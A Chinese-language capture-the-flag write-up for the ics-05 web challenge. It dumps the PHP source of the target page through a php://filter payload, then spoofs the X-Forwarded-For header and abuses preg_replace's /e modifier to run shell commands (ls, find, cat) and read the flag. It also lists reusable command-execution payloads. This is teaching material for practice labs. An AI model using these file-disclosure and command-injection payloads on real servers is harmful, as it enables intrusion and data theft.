[XCTF/网络安全] 攻防世界 ics-05 解题详析

var code = “d3c47923-3948-4ce3-b432-0489790c1b14”

题目描述：其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

在这里插入图片描述
根据提示，进入维护中心页面

查看源代码发现注入点

在这里插入图片描述

内容注入

Payload：?page={ {4*5}}

如果请求的 URL 是4*5，实际传递给服务器端的是字符串4*5，并不会进行表达式求值。

在?page={ {4*5}} 这种情况下，由于这个 URL 中包含了双大括号 { {}}，所以服务器端会对其中的表达式进行求值。

在这里插入图片描述
如上图，无回显。

PHP伪协议

尝试PHP伪协议，Payload：
?page=php://filter/read=convert.base64-encode/resource=index.php

回显如下：

在这里插入图片描述

解码：

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);
?>

<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{
    
    {d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {
    
    {
    
     d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
    
    
        var table = layui.table,
            form = layui.form;

        table.render({
    
    
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    {
    
     type: 'numbers' },
                     {
    
     type: 'checkbox' },
                     {
    
     field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     {
    
     field: 'name', title: '设备名', templet: '#nameTpl' },
                     {
    
     field: 'area', title: '区域' },
                     {
    
     field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     {
    
     field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
    
    
        var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
    
    
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page];

if (isset($page)) {
    
    



if (ctype_alnum($page)) {
    
    
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{
    
    
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
    
    
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
    
    
                    die();
                }

                if (strpos($page, 'text') > 0) {
    
    
                    die();
                }

                if ($page === 'index.php') {
    
    
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
    

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
    
    
        preg_replace($pattern, $replacement, $subject);
    }else{
    
    
        die();
    }

}

?>
</body>
</html>

代码审计

关键代码如下：

<?php

$page = $_GET[page];

if (isset($page)) {
    
    

if (ctype_alnum($page)) {
    
    
//page参数只能包含数字或字母
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?>
        //若page参数为数字或字母，则输出page页面内容
?>

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
    
    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
    
    
        preg_replace($pattern, $replacement, $subject);
        //将subject里的pattern变为replacement
    }else{
    
    
        die();
    }
}

下面是一个使用 preg_replace() 函数进行字符串替换的简单例子：

<?php
// 替换字符串中的空格和逗号为冒号
$string = "apple, banana, kiwi, orange";
$pattern = '/[\s,]+/';
$replacement = ':';
$new_string = preg_replace($pattern, $replacement, $string);
echo $new_string;     // 输出 "apple:banana:kiwi:orange"
?>

方法一

抓包，修改XFF

具体方法参考：[CTF/网络安全] 攻防世界 xff_referer 解题详析

在这里插入图片描述

/e 修正符

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

subject和pattern满足该函数下的规则即可，无特殊要求。

构造Payload如下，实现将sub中的qiu替换为system('find -name *flag*')，从而执行命令

?pat=/qiu/e&rep=system('find -name *flag*')&sub=qiu
//在当前目录及子目录中查找文件名中包含flag的文件

方法二

抓包，修改XFF

列目录

?pat=/qiu/e&rep=system('ls')&sub=qiu

回显如下：
在这里插入图片描述

查看目录内容

?pat=/qiu/e&rep=system('ls+目录')&sub=qiu

回显如下：
在这里插入图片描述

查看文件夹内容

?pat=/qiu/e&rep=system('ls+目录/文件夹名')&sub=qiu

回显如下：
在这里插入图片描述

查看文件内容

?pat=/qiu/e&rep=system('cat+目录/文件夹名/文件名')&sub=qiu

其它常用Payload

列出 /var/www/html 目录下的文件和子目录：

?pat=/qiu/e&rep=system('ls /var/www/html')&sub=qiu

在当前目录及其子目录中查找文件名中包含 xx 的文件，如 1xx.txt 或 xx2023qiu.jpg 等：

?pat=/qiu/e&rep=system('find -name *xx*')&sub=qiu

总结

该题考察XFF及/e修正符的相关知识。
我是秋说，我们下次见。